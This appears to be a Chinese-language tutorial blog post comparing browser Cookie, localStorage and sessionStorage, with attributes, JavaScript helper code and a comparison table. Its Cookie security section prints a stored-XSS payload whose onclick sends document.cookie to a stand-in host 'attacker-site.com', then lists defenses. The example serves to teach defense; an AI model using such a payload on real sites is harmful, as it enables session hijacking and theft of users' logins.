细说CookieLocalStorageSessionStorage | 乐趣区

面试题目中经常被问到Cookie和LocalStorage的区别，可见其在项目开发中的重要性，这篇文章旨在详细阐述这部分内容。

概念

1.Cookie
Cookie分为内存cookie和硬盘cookie。内存 cookie由浏览器维护，浏览器关闭后消失；硬盘cookie存在硬盘里，有过期时间，除非手动清理或到过期时间，否则不会消失。
Cookie是一个浏览器状态管理文件，由于http协议是不保存状态的，需要在http请求中携带cookie发送到服务器，服务器根据cookie判断用户。
Cookie原理

Cookie只能绑定单一域名，不可以跨域使用。
Cookie属性：
name：Cookie名称，设置相同名称的值会被覆盖掉
value：Cookie值，考虑服务器兼容性，必须URL编码
domain：Cookie绑定域名，没设置的话自动绑定执行语句当前域，统一域名下的二级域名不可交换使用Cookie
path：匹配路由
Expires/Max-Age：有效期；expires是具体日期，Max-age是以秒为单位，设置为0时，关闭浏览器cookie清除
secure：设置该属性后，仅通过安全通道（https）传输时，http请求才会包含cookie，但secure仅保护cookie的机密性，不能保护完整性，也不能对客户端Cookie进行加密。
httpOnly：设为true时，不能脚本获取Cookie，能有效避免跨域本 (XSS) 攻击
Cookie操作：
获取Cookie：document.cookie
修改Cookie：document.cookie = “cookie_name=cookie_value”
Cookie安全：
XSS攻击：XSS(Cross Site Scripting)是跨站点脚本攻击的缩写. 其就是利用站点开放的文本编辑并发布的功能, 从而造成攻击.其实说的简单一点, 就是输入javascript脚本, 窃取并投递cookie信息到自己的站点.
比如攻击者以一个普通用户登录进来，然后在输入框中提交以下数据：

<a href=# onclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape\(document.cookie\)\;\”>text </a>

攻击者提交a标签后，该数据保存在服务器端，当管理员登陆后点击到这个a标签后会获取当前cookie到上面a标签设定的网址，叫做XSS攻击，也叫Cookie劫持。
如何防御：1添加HttpOnly 属性；2在cookie中添加校验信息，比如IP，UA等判断是否真正用户；3cookie中的session id定时更换
cookie接口封装：

var cookieUtil = {    // 设置cookie    setItem: function(name, value, days) {        var date=new Date();        date.setDate(date.getDate()+days);        document.cookie=name+'='+value+';expires='+date;    },    // 获取cookie    getItem: function(name) {         var arr=document.cookie.replace(/\s/g, "").split(';');         for(var i=0;i<arr.length;i++) {             var tempArr=arr[i].split('=');             if(tempArr[0]==name) {                return decodeURIComponent(tempArr[1]);             }         }         return '';    },    // 删除cookie    removeItem: function(name) {        this.setItem(name,'1', -1);    },    // 检查是否含有某cookie    hasItem: function(name) {        return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(name).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);    },    // 获取全部的cookie列表    getAllItems: function() {        var cookieArr = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);        for (var nIdx = 0; nIdx < cookieArr.length; nIdx++) { cookieArr[nIdx] = decodeURIComponent(cookieArr[nIdx]); }        return cookieArr;    }};

2.localStorage，sessionStorage
HTML5新增的客户端存储API，都遵循浏览器的同源策略。
LocalStorage:没有时间限制的数据存储
sessionStorage:针对一个session的数据存储
操作：
setItem(key, value) 以键值对的形式存储，

localStorage.setItem(‘key’, value)

getItem(key) 通过key获取value值

var value = sessionStorage.getItem(“key”)

removeItem(key)通过key删除对应value

localStorage.removeItem(“key”)

clear() 清空存储内容

localStorage.clear()

key/length等用法：

var storage = window.localStorage;storage.key1 = ‘Hello’;storage[key2] = ‘world’;console.log(storage.key1+’’+storage.key2) // Hello worldvar storage = window.localStorage;console.log(storage.length) // 返回已存储简直对的个数

三者的异同

数据生命周期
Cookie:一般由服务器生成，可设置失效时间。如果在浏览器端生cookie，默认关闭浏览器后失效
localStorage:除非被清除，否则永久保存
sessionStorage:仅在当前会话下有效，关闭页面或浏览器被清除
存放数据大小
Cookie:4K左右
localStorage/sessionStorage:5MB左右
与服务器端通信
Cookie:每次都会携带在HTTP头中，如果cookie保存过多，会带来性能问题
localStorage/sessionStorage:仅在客户端内存中保存，不参与和服务器端通信
易用性
Cookie:需要自己封装，源生Cookie接口不友好
localStorage/sessionStorage:源生接口可接受，使用方便

参考资料
维基百科-Cookie
把cookie聊清楚
Secure Cookie
Http cookies
Window.localStorage
详说Cookie、localStorage、sessionStorage